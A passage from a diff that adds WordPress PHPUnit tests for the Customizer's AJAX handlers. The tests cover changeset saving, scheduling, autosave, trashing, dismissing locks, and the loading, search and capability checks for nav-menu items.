+		$_POST['customize_changeset_date'] = '+10 minutes';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'future', get_post_status( $wp_customize->changeset_post_id() ) );
+		wp_update_post( array(
+			'ID' => $wp_customize->changeset_post_id(),
+			'post_status' => 'auto-draft',
+		) );
+	}
+
+	/**
+	 * Set up valid user state.
+	 *
+	 * @param string $uuid Changeset UUID.
+	 * @return WP_Customize_Manager
+	 */
+	protected function set_up_valid_state( $uuid = null ) {
+		global $wp_customize;
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$wp_customize->register_controls();
+		$nonce = wp_create_nonce( 'save-customize_' . $wp_customize->get_stylesheet() );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+		$wp_customize->setup_theme();
+		return $wp_customize;
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::save()
+	 */
+	function test_save_success_publish_create() {
+		$wp_customize = $this->set_up_valid_state();
+
+		$_POST['customize_changeset_status'] = 'publish';
+		$_POST['customize_changeset_title'] = 'Success Changeset';
+		$_POST['customize_changeset_data'] = wp_json_encode( array(
+			'blogname' => array(
+				'value' => 'Successful Site Title',
+			),
+		) );
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertInternalType( 'array', $this->_last_response_parsed['data'] );
+
+		$this->assertEquals( 'publish', $this->_last_response_parsed['data']['changeset_status'] );
+		$this->assertArrayHasKey( 'next_changeset_uuid', $this->_last_response_parsed['data'] );
+		$this->assertTrue( wp_is_uuid( $this->_last_response_parsed['data']['next_changeset_uuid'], 4 ) );
+		$this->assertEquals( 'Success Changeset', get_post( $wp_customize->changeset_post_id() )->post_title );
+		$this->assertEquals( 'Successful Site Title', get_option( 'blogname' ) );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::save()
+	 */
+	function test_save_success_publish_edit() {
+		$uuid = wp_generate_uuid4();
+
+		$post_id = $this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_title' => 'Original',
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'post_content' => wp_json_encode( array(
+				'blogname' => array(
+					'value' => 'New Site Title',
+				),
+			) ),
+		) );
+		$wp_customize = $this->set_up_valid_state( $uuid );
+
+		$_POST['customize_changeset_status'] = 'publish';
+		$_POST['customize_changeset_title'] = 'Published';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertInternalType( 'array', $this->_last_response_parsed['data'] );
+
+		$this->assertEquals( 'publish', $this->_last_response_parsed['data']['changeset_status'] );
+		$this->assertArrayHasKey( 'next_changeset_uuid', $this->_last_response_parsed['data'] );
+		$this->assertTrue( wp_is_uuid( $this->_last_response_parsed['data']['next_changeset_uuid'], 4 ) );
+		$this->assertEquals( 'New Site Title', get_option( 'blogname' ) );
+		$this->assertEquals( 'Published', get_post( $post_id )->post_title );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save().
+	 *
+	 * @ticket 38943
+	 * @covers WP_Customize_Manager::save()
+	 */
+	function test_success_save_post_date() {
+		$uuid = wp_generate_uuid4();
+		$post_id = $this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_title' => 'Original',
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'post_content' => wp_json_encode( array(
+				'blogname' => array(
+					'value' => 'New Site Title',
+				),
+			) ),
+		) );
+		$wp_customize = $this->set_up_valid_state( $uuid );
+
+		// Success future schedule date.
+		$future_date = ( gmdate( 'Y' ) + 1 ) . '-01-01 00:00:00';
+		$_POST['customize_changeset_status'] = 'future';
+		$_POST['customize_changeset_title'] = 'Future date';
+		$_POST['customize_changeset_date'] = $future_date;
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertArrayHasKey( 'changeset_date', $this->_last_response_parsed['data'] );
+		$changeset_post_schedule = get_post( $post_id );
+		$this->assertEquals( $future_date, $changeset_post_schedule->post_date );
+
+		// Success future changeset change to draft keeping existing date.
+		unset( $_POST['customize_changeset_date'] );
+		$_POST['customize_changeset_status'] = 'draft';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertArrayNotHasKey( 'changeset_date', $this->_last_response_parsed['data'] );
+		$changeset_post_draft = get_post( $post_id );
+		$this->assertEquals( $future_date, $changeset_post_draft->post_date );
+
+		// Success if date is not passed with schedule changeset and stored changeset have future date.
+		$_POST['customize_changeset_status'] = 'future';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertArrayHasKey( 'changeset_date', $this->_last_response_parsed['data'] );
+		$changeset_post_schedule = get_post( $post_id );
+		$this->assertEquals( $future_date, $changeset_post_schedule->post_date );
+		// Success if draft with past date.
+		$now = current_time( 'mysql' );
+		wp_update_post( array(
+			'ID' => $post_id,
+			'post_status' => 'draft',
+			'post_date' => $now,
+			'post_date_gmt' => get_gmt_from_date( $now ),
+		) );
+
+		// Fail if future request and existing date is past.
+		$_POST['customize_changeset_status'] = 'future';
+		unset( $_POST['customize_changeset_date'] );
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'not_future_date', $this->_last_response_parsed['data']['code'] );
+
+		// Success publish changeset reset date to current.
+		wp_update_post( array(
+			'ID' => $post_id,
+			'post_status' => 'future',
+			'post_date' => $future_date,
+			'post_date_gmt' => get_gmt_from_date( $future_date ),
+		) );
+		unset( $_POST['customize_changeset_date'] );
+		$_POST['customize_changeset_status'] = 'publish';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertArrayHasKey( 'next_changeset_uuid', $this->_last_response_parsed['data'] );
+		$this->assertTrue( wp_is_uuid( $this->_last_response_parsed['data']['next_changeset_uuid'], 4 ) );
+		$changeset_post_publish = get_post( $post_id );
+		$this->assertNotEquals( $future_date, $changeset_post_publish->post_date );
+
+		// Check response when trying to update an already-published post.
+		$this->assertEquals( 'trash', get_post_status( $post_id ) );
+		$_POST['customize_changeset_status'] = 'publish';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_already_published', $this->_last_response_parsed['data']['code'] );
+		$this->assertArrayHasKey( 'next_changeset_uuid', $this->_last_response_parsed['data'] );
+		$this->assertTrue( wp_is_uuid( $this->_last_response_parsed['data']['next_changeset_uuid'], 4 ) );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save().
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::save()
+	 */
+	public function test_save_autosave() {
+		$uuid = wp_generate_uuid4();
+
+		$post_id = $this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_type' => 'customize_changeset',
+			'post_status' => 'draft',
+			'post_content' => wp_json_encode( array(
+				'blogname' => array(
+					'value' => 'New Site Title',
+				),
+			) ),
+		) );
+		$this->set_up_valid_state( $uuid );
+
+		$this->assertFalse( wp_get_post_autosave( $post_id ) );
+
+		$_POST['customize_changeset_data'] = wp_json_encode( array(
+			'blogname' => array(
+				'value' => 'Autosaved Site Title',
+			),
+		) );
+
+		$_POST['customize_changeset_autosave'] = 'on';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'draft', $this->_last_response_parsed['data']['changeset_status'] );
+		$autosave_revision = wp_get_post_autosave( $post_id );
+		$this->assertInstanceOf( 'WP_Post', $autosave_revision );
+
+		$this->assertContains( 'New Site Title', get_post( $post_id )->post_content );
+		$this->assertContains( 'Autosaved Site Title', $autosave_revision->post_content );
+	}
+
+	/**
+	 * Test request for trashing a changeset.
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::handle_changeset_trash_request()
+	 */
+	public function test_handle_changeset_trash_request() {
+		$uuid = wp_generate_uuid4();
+		$wp_customize = $this->set_up_valid_state( $uuid );
+
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'invalid_nonce', $this->_last_response_parsed['data']['code'] );
+
+		$nonce = wp_create_nonce( 'trash_customize_changeset' );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'non_existent_changeset', $this->_last_response_parsed['data']['code'] );
+
+		$wp_customize->register_controls(); // And settings too.
+		$wp_customize->set_post_value( 'blogname', 'HELLO' );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'save',
+		) );
+
+		add_filter( 'map_meta_cap', array( $this, 'return_do_not_allow' ) );
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_trash_unauthorized', $this->_last_response_parsed['data']['code'] );
+		remove_filter( 'map_meta_cap', array( $this, 'return_do_not_allow' ) );
+
+		wp_update_post( array(
+			'ID' => $wp_customize->changeset_post_id(),
+			'post_status' => 'trash',
+		) );
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_already_trashed', $this->_last_response_parsed['data']['code'] );
+
+		wp_update_post( array(
+			'ID' => $wp_customize->changeset_post_id(),
+			'post_status' => 'draft',
+		) );
+
+		$wp_trash_post_count = did_action( 'wp_trash_post' );
+		add_filter( 'pre_trash_post', '__return_false' );
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_trash_failure', $this->_last_response_parsed['data']['code'] );
+		remove_filter( 'pre_trash_post', '__return_false' );
+		$this->assertEquals( $wp_trash_post_count, did_action( 'wp_trash_post' ) );
+
+		$wp_trash_post_count = did_action( 'wp_trash_post' );
+		$this->assertEquals( 'draft', get_post_status( $wp_customize->changeset_post_id() ) );
+		$this->make_ajax_call( 'customize_trash' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'trash', get_post_status( $wp_customize->changeset_post_id() ) );
+		$this->assertEquals( $wp_trash_post_count + 1, did_action( 'wp_trash_post' ) );
+	}
+
+	/**
+	 * Return caps array containing 'do_not_allow'.
+	 *
+	 * @return array Caps.
+	 */
+	public function return_do_not_allow() {
+		return array( 'do_not_allow' );
+	}
+
+	/**
+	 * Test request for dismissing autosave changesets.
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::handle_dismiss_autosave_or_lock_request()
+	 * @covers WP_Customize_Manager::dismiss_user_auto_draft_changesets()
+	 */
+	public function test_handle_dismiss_autosave_or_lock_request() {
+		$uuid          = wp_generate_uuid4();
+		$wp_customize  = $this->set_up_valid_state( $uuid );
+		$valid_user_id = get_current_user_id();
+
+		// Temporarily remove user to test requirement that user is logged in. See #42450.
+		wp_set_current_user( 0 );
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'unauthenticated', $this->_last_response_parsed['data'] );
+		wp_set_current_user( $valid_user_id );
+
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'invalid_nonce', $this->_last_response_parsed['data'] );
+
+		$nonce = wp_create_nonce( 'customize_dismiss_autosave_or_lock' );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+
+		$_POST['dismiss_lock'] = $_GET['dismiss_lock'] = $_REQUEST['dismiss_lock'] = true;
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'no_changeset_to_dismiss_lock', $this->_last_response_parsed['data'] );
+
+		$_POST['dismiss_autosave'] = $_GET['dismiss_autosave'] = $_REQUEST['dismiss_autosave'] = true;
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'no_auto_draft_to_delete', $this->_last_response_parsed['data'] );
+
+		$other_user_id = $this->factory()->user->create();
+
+		// Create auto-drafts.
+		$user_auto_draft_ids = array();
+		for ( $i = 0; $i < 3; $i++ ) {
+			$user_auto_draft_ids[] = $this->factory()->post->create( array(
+				'post_name' => wp_generate_uuid4(),
+				'post_type' => 'customize_changeset',
+				'post_status' => 'auto-draft',
+				'post_author' => self::$admin_user_id,
+				'post_content' => wp_json_encode( array() ),
+			) );
+		}
+		$other_user_auto_draft_ids = array();
+		for ( $i = 0; $i < 3; $i++ ) {
+			$other_user_auto_draft_ids[] = $this->factory()->post->create( array(
+				'post_name' => wp_generate_uuid4(),
+				'post_type' => 'customize_changeset',
+				'post_status' => 'auto-draft',
+				'post_author' => $other_user_id,
+				'post_content' => wp_json_encode( array() ),
+			) );
+		}
+		foreach ( array_merge( $user_auto_draft_ids, $other_user_auto_draft_ids ) as $post_id ) {
+			$this->assertFalse( (bool) get_post_meta( $post_id, '_customize_restore_dismissed', true ) );
+		}
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'auto_draft_dismissed', $this->_last_response_parsed['data'] );
+		foreach ( $user_auto_draft_ids as $post_id ) {
+			$this->assertEquals( 'auto-draft', get_post_status( $post_id ) );
+			$this->assertTrue( (bool) get_post_meta( $post_id, '_customize_restore_dismissed', true ) );
+		}
+		foreach ( $other_user_auto_draft_ids as $post_id ) {
+			$this->assertEquals( 'auto-draft', get_post_status( $post_id ) );
+			$this->assertFalse( (bool) get_post_meta( $post_id, '_customize_restore_dismissed', true ) );
+		}
+
+		// Subsequent test results in none dismissed.
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'no_auto_draft_to_delete', $this->_last_response_parsed['data'] );
+
+		// Save a changeset as a draft.
+		$r = $wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Foo',
+				),
+			),
+			'status' => 'draft',
+		) );
+
+		$_POST['dismiss_autosave'] = $_GET['dismiss_autosave'] = $_REQUEST['dismiss_autosave'] = false;
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_lock_dismissed', $this->_last_response_parsed['data'] );
+
+		$_POST['dismiss_autosave'] = $_GET['dismiss_autosave'] = $_REQUEST['dismiss_autosave'] = true;
+		$this->assertNotInstanceOf( 'WP_Error', $r );
+		$this->assertFalse( wp_get_post_autosave( $wp_customize->changeset_post_id() ) );
+		$this->assertContains( 'Foo', get_post( $wp_customize->changeset_post_id() )->post_content );
+
+		// Since no autosave yet, confirm no action.
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'no_autosave_revision_to_delete', $this->_last_response_parsed['data'] );
+
+		// Add the autosave revision.
+		$r = $wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Bar',
+				),
+			),
+			'autosave' => true,
+		) );
+		$this->assertNotInstanceOf( 'WP_Error', $r );
+		$autosave_revision = wp_get_post_autosave( $wp_customize->changeset_post_id() );
+		$this->assertInstanceOf( 'WP_Post', $autosave_revision );
+		$this->assertContains( 'Foo', get_post( $wp_customize->changeset_post_id() )->post_content );
+		$this->assertContains( 'Bar', $autosave_revision->post_content );
+
+		// Confirm autosave gets deleted.
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'autosave_revision_deleted', $this->_last_response_parsed['data'] );
+		$this->assertFalse( wp_get_post_autosave( $wp_customize->changeset_post_id() ) );
+
+		// Since no autosave yet, confirm no action.
+		$this->make_ajax_call( 'customize_dismiss_autosave_or_lock' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'no_autosave_revision_to_delete', $this->_last_response_parsed['data'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeMenus.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeMenus.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeMenus.php	(revision 56912)
@@ -0,0 +1,712 @@
+<?php
+/**
+ * Testing ajax customize menus functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      4.3.0
+ * @group      ajax
+ */
+class Tests_Ajax_CustomizeMenus extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Set up the test fixture.
+	 */
+	public function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		global $wp_customize;
+		$this->wp_customize = new WP_Customize_Manager();
+		$wp_customize = $this->wp_customize;
+	}
+
+	/**
+	 * Helper to keep it DRY
+	 *
+	 * @param string $action Action.
+	 */
+	protected function make_ajax_call( $action ) {
+		// Make the request.
+		try {
+			$this->_handleAjax( $action );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+	}
+
+	/**
+	 * Testing capabilities check for ajax_load_available_items method
+	 *
+	 * @dataProvider data_ajax_load_available_items_cap_check
+	 *
+	 * @param string $role              The role we're checking caps against.
+	 * @param array  $expected_results  Expected results.
+	 */
+	function test_ajax_load_available_items_cap_check( $role, $expected_results ) {
+
+		if ( 'administrator' != $role ) {
+			// If we're not an admin, we should get a wp_die(-1).
+			$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		}
+
+		wp_set_current_user( self::factory()->user->create( array( 'role' => $role ) ) );
+
+		$_POST = array(
+			'action'                => 'load-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		);
+
+		$this->make_ajax_call( 'load-available-menu-items-customizer' );
+
+		// If we are an admin, we should get a proper response.
+		if ( 'administrator' === $role ) {
+			// Get the results.
+			$response = json_decode( $this->_last_response, true );
+
+			$this->assertSame( $expected_results, $response );
+		}
+
+	}
+
+	/**
+	 * Data provider for test_ajax_load_available_items_cap_check().
+	 *
+	 * Provides various post_args to induce error messages in the that can be
+	 * compared to the expected_results.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @string string $role             The role that will test caps for.
+	 *         @array  array  $expected_results The expected results from the ajax call.
+	 *     }
+	 * }
+	 */
+	function data_ajax_load_available_items_cap_check() {
+		return array(
+			array(
+				'subscriber',
+				array(),
+			),
+			array(
+				'contributor',
+				array(),
+			),
+			array(
+				'author',
+				array(),
+			),
+			array(
+				'editor',
+				array(),
+			),
+			array(
+				'administrator',
+				array(
+					'success' => false,
+					'data'    => 'nav_menus_missing_type_or_object_parameter',
+				),
+			),
+		);
+	}
+
+	/**
+	 * Testing the error messaging for ajax_load_available_items
+	 *
+	 * @dataProvider data_ajax_load_available_items_error_messages
+	 *
+	 * @param array $post_args POST args.
+	 * @param mixed $expected_results Expected results.
+	 */
+	function test_ajax_load_available_items_error_messages( $post_args, $expected_results ) {
+
+		$_POST = array_merge( array(
+			'action'                => 'load-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		), $post_args );
+
+		// Make the request.
+		$this->make_ajax_call( 'load-available-menu-items-customizer' );
+
+		// Get the results.
+		$response = json_decode( $this->_last_response, true );
+
+		$this->assertSame( $expected_results, $response );
+	}
+
+	/**
+	 * Data provider for test_ajax_load_available_items_error_message().
+	 *
+	 * Provides various post_args to induce error messages in the that can be
+	 * compared to the expected_results.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @array array $post_args        The arguments that will merged with the $_POST array.
+	 *         @array array $expected_results The expected results from the ajax call.
+	 *     }
+	 * }
+	 */
+	function data_ajax_load_available_items_error_messages() {
+		return array(
+			// Testing empty obj_type and type.
+			array(
+				array(
+					'type'     => '',
+					'object'   => '',
+				),
+				array(
+					'success'  => false,
+					'data'     => 'nav_menus_missing_type_or_object_parameter',
+				),
+			),
+			// Testing empty obj_type.
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => '',
+				),
+				array(
+					'success'  => false,
+					'data'     => 'nav_menus_missing_type_or_object_parameter',
+				),
+			),
+			// Testing empty type.
+			array(
+				array(
+					'type'     => '',
+					'object'   => 'post',
+				),
+				array(
+					'success'  => false,
+					'data'     => 'nav_menus_missing_type_or_object_parameter',
+				),
+			),
+			// Testing empty type of a bulk request.
+			array(
+				array(
+					'item_types' => array(
+						array(
+							'type'     => 'post_type',
+							'object'   => 'post',
+						),
+						array(
+							'type'     => 'post_type',
+							'object'   => '',
+						),
+					),
+				),
+				array(
+					'success'  => false,
+					'data'     => 'nav_menus_missing_type_or_object_parameter',
+				),
+			),
+			// Testing incorrect type option.
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'invalid',
+				),
+				array(
+					'success'  => false,
+					'data'     => 'nav_menus_invalid_post_type',
+				),
+			),
+		);
+	}
+
+	/**
+	 * Testing the success status.
+	 *
+	 * @dataProvider data_ajax_load_available_items_success_status
+	 *
+	 * @param array $post_args       POST args.
+	 * @param array $success_status  Success status.
+	 */
+	function test_ajax_load_available_items_success_status( $post_args, $success_status ) {
+
+		$_POST = array_merge( array(
+			'action'                => 'load-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		), $post_args );
+
+		// Make the request.
+		$this->make_ajax_call( 'load-available-menu-items-customizer' );
+
+		// Get the results.
+		$response = json_decode( $this->_last_response, true );
+		$this->assertSame( $success_status, $response['success'] );
+
+	}
+
+	/**
+	 * Data provider for test_ajax_load_available_items_success_status().
+	 *
+	 * Provides various post_args to retrieve results and compare against
+	 * the success status.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type array $post_args      The arguments that will merged with the $_POST array.
+	 *         @type bool  $success_status The expected success status.
+	 *     }
+	 * }
+	 */
+	function data_ajax_load_available_items_success_status() {
+		return array(
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'post',
+				),
+				true,
+			),
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'page',
+				),
+				true,
+			),
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'custom',
+				),
+				false,
+			),
+			array(
+				array(
+					'type'     => 'taxonomy',
+					'object'   => 'post_tag',
+				),
+				true,
+			),
+			// Testing a bulk request.
+			array(
+				array(
+					'item_types' => array(
+						array(
+							'type'     => 'post_type',
+							'object'   => 'post',
+						),
+						array(
+							'type'     => 'post_type',
+							'object'   => 'page',
+						),
+					),
+				),
+				true,
+			),
+		);
+	}
+
+	/**
+	 * Testing the array structure for a single item
+	 *
+	 * @dataProvider data_ajax_load_available_items_structure
+	 *
+	 * @param array $post_args POST args.
+	 */
+	function test2_ajax_load_available_items_structure( $post_args ) {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$expected_keys = array(
+			'id',
+			'title',
+			'type',
+			'type_label',
+			'object',
+			'object_id',
+			'url',
+		);
+
+		// Create some terms and pages.
+		self::factory()->term->create_many( 5 );
+		self::factory()->post->create_many( 5, array( 'post_type' => 'page' ) );
+		$auto_draft_post = $this->wp_customize->nav_menus->insert_auto_draft_post( array( 'post_title' => 'Test Auto Draft', 'post_type' => 'post' ) );
+		$this->wp_customize->set_post_value( 'nav_menus_created_posts', array( $auto_draft_post->ID ) );
+		$this->wp_customize->get_setting( 'nav_menus_created_posts' )->preview();
+
+		$_POST = array_merge( array(
+			'action'                => 'load-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		), $post_args );
+
+		// Make the request.
+		$this->make_ajax_call( 'load-available-menu-items-customizer' );
+
+		// Get the results.
+		$response = json_decode( $this->_last_response, true );
+
+		$this->assertNotEmpty( current( $response['data']['items'] ) );
+
+		// Get the second index to avoid the home page edge case.
+		$first_prop = current( $response['data']['items'] );
+		$test_item = $first_prop[1];
+
+		foreach ( $expected_keys as $key ) {
+			$this->assertArrayHasKey( $key, $test_item );
+			$this->assertNotEmpty( $test_item[ $key ] );
+		}
+
+		// Special test for the home page.
+		if ( 'page' === $test_item['object'] ) {
+			$first_prop = current( $response['data']['items'] );
+			$home = $first_prop[0];
+			foreach ( $expected_keys as $key ) {
+				if ( 'object_id' !== $key ) {
+					$this->assertArrayHasKey( $key, $home );
+					if ( 'object' !== $key ) {
+						$this->assertNotEmpty( $home[ $key ] );
+					}
+				}
+			}
+		} elseif ( 'post' === $test_item['object'] ) {
+			$item_ids = wp_list_pluck( $response['data']['items']['post_type:post'], 'id' );
+			$this->assertContains( 'post-' . $auto_draft_post->ID, $item_ids );
+		}
+	}
+
+	/**
+	 * Data provider for test_ajax_load_available_items_structure().
+	 *
+	 * Provides various post_args to return a list of items to test the array structure of.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type array $post_args The arguments that will merged with the $_POST array.
+	 *     }
+	 * }
+	 */
+	function data_ajax_load_available_items_structure() {
+		return array(
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'post',
+				),
+			),
+			array(
+				array(
+					'type'     => 'post_type',
+					'object'   => 'page',
+				),
+			),
+			array(
+				array(
+					'type'     => 'taxonomy',
+					'object'   => 'post_tag',
+				),
+			),
+		);
+	}
+
+	/**
+	 * Testing the error messages for ajax_search_available_items
+	 *
+	 * @dataProvider data_ajax_search_available_items_caps_check
+	 *
+	 * @param string $role             Role.
+	 * @param array  $expected_results Expected results.
+	 */
+	function test_ajax_search_available_items_caps_check( $role, $expected_results ) {
+
+		if ( 'administrator' != $role ) {
+			// If we're not an admin, we should get a wp_die(-1).
+			$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		}
+
+		wp_set_current_user( self::factory()->user->create( array( 'role' => $role ) ) );
+
+		$_POST = array(
+			'action'                => 'search-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		);
+
+		$this->make_ajax_call( 'search-available-menu-items-customizer' );
+
+		// If we are an admin, we should get a proper response.
+		if ( 'administrator' === $role ) {
+			// Get the results.
+			$response = json_decode( $this->_last_response, true );
+
+			$this->assertSame( $expected_results, $response );
+		}
+	}
+
+	/**
+	 * Data provider for test_ajax_search_available_items_caps_check().
+	 *
+	 * Provides various post_args to induce error messages in the that can be
+	 * compared to the expected_results.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @todo Make this more DRY
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @string string $role             The role that will test caps for.
+	 *         @array  array  $expected_results The expected results from the ajax call.
+	 *     }
+	 * }
+	 */
+	function data_ajax_search_available_items_caps_check() {
+		return array(
+			array(
+				'subscriber',
+				array(),
+			),
+			array(
+				'contributor',
+				array(),
+			),
+			array(
+				'author',
+				array(),
+			),
+			array(
+				'editor',
+				array(),
+			),
+			array(
+				'administrator',
+				array(
+					'success' => false,
+					'data'    => 'nav_menus_missing_search_parameter',
+				),
+			),
+		);
+	}
+
+	/**
+	 * Testing the results of various searches
+	 *
+	 * @dataProvider data_ajax_search_available_items_results
+	 *
+	 * @param array $post_args        POST args.
+	 * @param array $expected_results Expected results.
+	 */
+	function test_ajax_search_available_items_results( $post_args, $expected_results ) {
+		do_action( 'customize_register', $this->wp_customize );
+
+		self::factory()->post->create_many( 5, array( 'post_title' => 'Test Post' ) );
+		$included_auto_draft_post = $this->wp_customize->nav_menus->insert_auto_draft_post( array( 'post_title' => 'Test Included Auto Draft', 'post_type' => 'post' ) );
+		$excluded_auto_draft_post = $this->wp_customize->nav_menus->insert_auto_draft_post( array( 'post_title' => 'Excluded Auto Draft', 'post_type' => 'post' ) );
+		$this->wp_customize->set_post_value( 'nav_menus_created_posts', array( $included_auto_draft_post->ID, $excluded_auto_draft_post->ID ) );
+		$this->wp_customize->get_setting( 'nav_menus_created_posts' )->preview();
+
+		$_POST = array_merge( array(
+			'action'                => 'search-available-menu-items-customizer',
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		), $post_args );
+
+		$this->make_ajax_call( 'search-available-menu-items-customizer' );
+
+		$response = json_decode( $this->_last_response, true );
+
+		if ( isset( $post_args['search'] ) && 'test' === $post_args['search'] ) {
+			$this->assertsame( true, $response['success'] );
+			$this->assertSame( 6, count( $response['data']['items'] ) );
+			$item_ids = wp_list_pluck( $response['data']['items'], 'id' );
+			$this->assertContains( 'post-' . $included_auto_draft_post->ID, $item_ids );
+			$this->assertNotContains( 'post-' . $excluded_auto_draft_post->ID, $item_ids );
+		} else {
+			$this->assertSame( $expected_results, $response );
+		}
+	}
+
+	/**
+	 * Data provider for test_ajax_search_available_items_results().
+	 *
+	 * Provides various post_args to test the results.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array {
